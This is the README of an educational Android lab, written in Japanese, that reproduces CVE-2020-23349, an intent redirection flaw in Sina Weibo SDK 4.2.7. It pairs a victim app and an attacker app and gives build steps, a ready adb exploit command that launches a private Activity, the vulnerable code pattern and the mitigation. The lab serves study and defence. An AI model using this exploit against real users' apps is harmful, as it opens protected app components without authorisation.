
Sina Weibo SDK 4.2.7 の CVE-2020-23349 に関する教育用 Android ラボ
Sina Weibo Android SDK 4.2.7のIntent Redirection脆弱性をローカルで再現する教育用プロジェクトです。
許可されたテスト端末またはエミュレータでのみ使用してください。実際のユーザーアプリを対象に使用してはいけません。
victim: 実際のopenDefault-4.2.7.aarを含む脆弱なアプリattacker: exported WbShareTransActivityを呼び出す攻撃アプリvictim/.../PrivateActivity: android:exported="false"である再現対象脆弱なフローは次のとおりです。
Attackerアプリ
-> exported WbShareTransActivity
-> Intent ExtraのstartActivity/gotoActivity
-> victimのPrivateActivity実行
Android SDK 36とJDK 17が必要です。
./gradlew clean assembleDebug
生成ファイル:
victim/build/outputs/apk/debug/victim-debug.apk
attacker/build/outputs/apk/debug/attacker-debug.apk
adb install -r victim/build/outputs/apk/debug/victim-debug.apk
adb install -r attacker/build/outputs/apk/debug/attacker-debug.apk
adb shell am start -n lab.cve202023349.attacker/.MainActivity
Launch private Activityボタンを押します。EXPLOIT SUCCESS画面が表示されたら再現成功です。ADBで直接再現することもできます。
adb shell am start \
-n lab.cve202023349.victim/com.sina.weibo.sdk.share.WbShareTransActivity \
--es startActivity lab.cve202023349.victim.PrivateActivity \
--es gotoActivity lab.cve202023349.victim.PrivateActivity
SDK 4.2.7は外部IntentのstartActivityとgotoActivity文字列を信頼し、次のような形式で使用します。
resultIntent.setClassName(this, startActivityName);
startActivity(resultIntent);
thisはVictimアプリのContextであるため、AndroidはVictimアプリが自身のprivate Activityを実行しているものとして処理します。
現代のAndroidビルドではandroid:exportedを明示する必要があるため、このプロジェクトは過去のSDKの暗黙的なexported状態を再現するために、victim/AndroidManifest.xmlで明示的にtrueを指定しています。
共有機能が必要ない演習では、次の値をfalseに変更して再ビルドします。
<activity
android:name="com.sina.weibo.sdk.share.WbShareTransActivity"
android:exported="false" />
その後、同じ攻撃を実行するとSecurityExceptionでブロックされます。実際の製品ではWeibo SDK 4.xを削除し、最新のメンテナンス版へアップグレードする必要があります。
同梱のAARはSina Weibo公式公開リポジトリの4.2.7コミットから取得しました。
99daf8a (4.2.7)新文档/openDefault-4.2.7.aar